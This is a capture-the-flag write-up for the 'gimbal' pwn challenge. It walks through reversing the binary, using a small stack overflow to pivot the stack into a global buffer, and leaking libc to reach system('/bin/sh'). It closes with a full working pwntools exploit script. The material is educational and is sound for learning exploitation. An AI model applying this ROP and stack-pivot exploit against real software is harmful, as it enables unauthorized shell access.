gimbal
Keeping it steady.
10 min read
[ + ]Overview
Looks like we are prompted twice, then the program exits.
Here are the protections on the binary:
RELRO
Partial RELRO
STACK CANARY
No canary found
NX
NX enabled
PIE
No PIE
SELFRANDO
No Selfrando
Clang CFI
No Clang CFI found
SafeStack
No SafeStack found
Luckily, the binary protections are in our favour.
Let's throw it in IDA to get a better look at what's going on.
[ + ]Reversing
The meat of the challenge is happening in these three sub-routines - main, vuln, and do_it.
main does some standard initialization, then calls vuln.
Now taking a look at vuln. we can see the following:
0x400bytes are allocated on the stack.what is your name?is printed.0x1FFFbytes are read from the console intos.0x400bytes fromsare moved into some area in memory calledname.eaxis set to0anddo_itis called.- Finally the function exits.
This is where the fun begins:
0x20bytes are allocated for the stack (size ofbufarray).Wait, who were you again?is printed to the console.0x28bytes are read fromstdinusingread.kthnxbyeis printed.- Finally we exit.
So we can clearly see that we have a very limited overflow vulnerability. We can only overflow buf by 0x8 bytes. This means we have just enough space to overwrite the stack base pointer.
Let's start pwning this thing.
[ + ]Pwning
To start we can just do some high-level recon on where things are being stored and how everything functions while debugging.
Let's start with vuln sub-routine after the first prompt what is your name? .
Here we see that if we send a large amount of As, after moving to name, everything is stored in a r/w section in memory at the base address 0x601080. This is good to know. Moving on, let's see what's going on in the do_it function before and after the second prompt Wait, who were you again? .
Here we take a closer look at the base pointer and note that there are some remaining 0x41s from our previous input after the allocated space on the stack, as well some addresses in the allocated space. Take note of the address stored at 0x7FFFFFFFC380.
Once we overflow buf with A's, we can see that the address at 0x7FFFFFFFC380 was overwritten.
If we continue a bit, we can see that after the leave instruction, 0x4141414141414141 is moved in rbp. Interesting, let's continue.
If we return from the do_it sub-routine and continue through the vuln sub-routine, we can see that we segfault during the leave instruction.
Why did we segfault here? It's because the leave instruction is actually a high-level instruction for the following:
mov esp, ebp
pop ebp
What this means is that when ebp is popped, it attempts to be popped to the stack address of 0x4141414141414141 which is obviously not possible.
Let's try this again, accept instead of sending As for the second prompt, we will specify the address of name (0x601080) where our As are stored after the first prompt.
Here is the before:
Here is after we send the address of name:
As you can see, rbp was overwritten and now points to 0x601080 where all of our As are. If we continue until we exit do_it and reach the ret instruction in vuln, we will see that we don't segfault on the leave instruction, and that rsp now points to name + 0x8.
Here it is a little clearer:
Why is it pointing to name + 0x8? Remember when I described the leave instruction? Well the pop ebp instruction put the value of ebp to the top of the stack and incremented the stack pointer. This is important to keep in mind going forward.
Now, unfortunately the name address space is only r/w and we can't execute from there. If it was the case, we may be able to drop our shellcode directly there and find a way to execute it, but that's not the case.
Instead we need to create a ROP chain to get a shell. Ideally, we need to be able to call system from libc. This would be really easy if it was in the global offset table, and if we had a /bin/sh string laying around in the binary itself, but we don't, so we need to leak libc.
In order to do this, we need to be able to call the following instructions:
ret- For stack alignment.pop rdi; ret- to put the value at an address we want to leak on the stack.libc address- The address of the value we want to leak.puts- In order to print thelibc address.- Some return address after we leak
libcso that the program doesn'tsegfault.
Lets not worry about address 5 yet.
To find some of these addresses, we can use the tool ROPgadget which will find gadgets for us.
Here we have pop rdi; ret and ret.
Then we can use an address in the global offset table to leak a libc address. Any of these work, but I chose 0x601018 to leak the puts address.
However, we can't use the 0x601018 address to call puts since 0x601018 holds the address to puts and does not call puts itself. Instead we need to find an address to go to which will call puts. We can instead use puts@plt which is defined in the procedure linkage table:
We see that at 0x400520 there is a sub-routine wrapper for the call to puts, by using the instruction jmp 0x601018. If you care curious about the plt or got this is a pretty good read. After all of that, we have the following addresses lined up:
ret-0x400501pop rdi; ret-0x400793libc address-0x601018puts-0x400520
Before finding somewhere to return to, let's first test that we can leak the puts address:
Great, it works. Let's look for somewhere to return to, we have a few options.
We want to be able to go back and exploit the vulnerability again to be able to get our shell. The main problem is that now we have a make-shift stack in name. This is a problem because certain libc sub-routines will try to allocate too much space (which can't be done so it will lead to a segfault). So we need to avoid those sub-routines as much as possible - for example, the init sub-routine in main will cause issues for us, so we can't jump there.
Instead, let's look at returning directly to somewhere in vuln.
Ideally, we want to avoid the box in red below. As you can see, a ton of space is allocated and written to the stack. We wan't to avoid this since our "stack" will never be capable of holding 0x400 bytes, and it will cause a segfault when 0x400 bytes are attempted to be written to another area in memory other than name.
Instead, we can jump to 0x400700 since we will be avoiding all of that.
What about do_it? Well, we can see we have a problem area (highlighted in red). Again, this is because we allocate some space on the stack, and call puts. We will run into issues with this later on in the exploit :).
By jumping to this address however, we won't be able to move a large amount of addresses into name in the second stage of the exploit like we did in the first stage since we are skipping the beginning of vuln, rather, we will fill the buf array of length 0x20 with 4 addresses (which is more than enough), and use the overflow address to point to the start of buf. This works since buf which is on the "stack" is actually within name.
Here is a diagram:
For now, the following payload is fine:
ret = 0x400501
pop_rdi = 0x400793
libc_leak = 0x601018
puts = 0x400520
return_vuln = 0x400700
buf = p64(ret) + p64(pop_rdi) + p64(libc_leak) + p64(puts) + p64(return_vuln)
Let's test it:
Alright, we have a segfault after calling puts. Like I was saying, we will run into issues with certain libc functions. To get around this, we can add some space before our first payload. That means we need to take this into account when exploiting the overflow. The first stage of he exploit now looks like this:
# Set the stack to offset by 8000 bytes, less would work too.
stack_space = 1000
stack_location = 0x601078 + (0x8 * (stack_space))
# Stack location
stack = p64(stack_location)
# payload 1
# addresses
ret = 0x400501
pop_rdi = 0x400793
libc_leak = 0x601018
puts = 0x400520
return_vuln = 0x400700
# empty space
empty_space = p64(0) * stack_space
buf = empty_space + p64(ret) + p64(pop_rdi) + p64(libc_leak) + \
p64(puts) + p64(return_vuln)
# overflow - fill array with 0s then overflow with "stack" location
overflow = p64(0) * 4 + stack
Now let's focus on the second stage of the exploit, getting a shell. Here are the addresses that we will need to successfully get a shell:
ret- For stack alignment.pop rdi; ret- to put the value at an address we want to leak on the stack./bin/shstring address - The address of the value we want to pass tosystem.system- The address ofsysteminlibc.
This is where the leak comes in handy. We can calculate the offset from the puts leak to find the libc base then use this base address to calculate the address of system.
For the puts and system offsets, we can use gdb with libc.so.6:
For /bin/sh we can use ROPgadget to get the offset:
For convenience:
gdb -q /tmp/lima/gimbal/libc.so.6
(gdb) print puts
(gdb) print system
ROPgadget --binary /tmp/lima/gimbal/libc.so.6 --string "/bin/sh"
So now we have the following:
ret-0x400501pop rdi; ret-0x400793/bin/shstring address -puts leak - 0x6f690 + 0x18cd57system-puts leak - 0x6f690 + 0x45390
Our second payload will look as follows:
# payload 2
# addresses
# ret = 0x400501
# pop_rdi = 0x400793
bin_sh = leak - 0x6f690 + 0x18cd57
system = leak - 0x6f690 + 0x45390
buf = p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(stack_location - 0x8)
We are adding subtracting 0x8 from the stack_location to ensure that the ret call is hit, otherwise, after the leave instruction we would execute directly pop_rdi because of the increment.
That's all! After putting the pieces together we should get our shell.
[ + ]Solution
Solver
from pwn import *
from pwnlib.util.packing import *
# Context
context.arch = 'amd64'
context.log_level = 'DEBUG'
# Main vars
NETID = ''
HOST, PORT = '', 0
def pwn():
conn = process(['/tmp/lima/gimbal/gimbal_patched'])
# Set the stack to offset by 8000 bytes, less would work too.
stack_space = 1000
stack_location = 0x601078 + (0x8 * (stack_space))
# Stack location
stack = p64(stack_location)
# payload 1
# addresses
ret = 0x400501
pop_rdi = 0x400793
libc_leak = 0x601018
puts = 0x400520
return_vuln = 0x400700
# empty space
empty_space = p64(0) * stack_space
buf = empty_space + p64(ret) + p64(pop_rdi) + p64(libc_leak) + p64(puts) + p64(return_vuln)
# overflow - fill array with 0s then overflow with "stack" location
overflow = p64(0) * 4 + stack
conn.recvuntil('what is your name?\n')
conn.sendline(buf)
conn.recvuntil('Wait, who were you again?\n')
conn.send(overflow)
conn.recvline()
# conn.interactive()
address = conn.recvline()[:-1]
leak = u64(address.ljust(8, b'\x00'))
log.info("puts leak - " + hex(leak))
base = leak - 0x6f690
bin_sh = base + 0x18cd57
system = base + 0x45390
log.info("base - " + hex(base))
log.info("/bin/sh - " + hex(bin_sh))
log.info("system - " + hex(system))
buf = p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(stack_location - 0x8)
conn.sendline(buf)
conn.recvline()
conn.interactive()
if __name__ == "__main__":
pwn()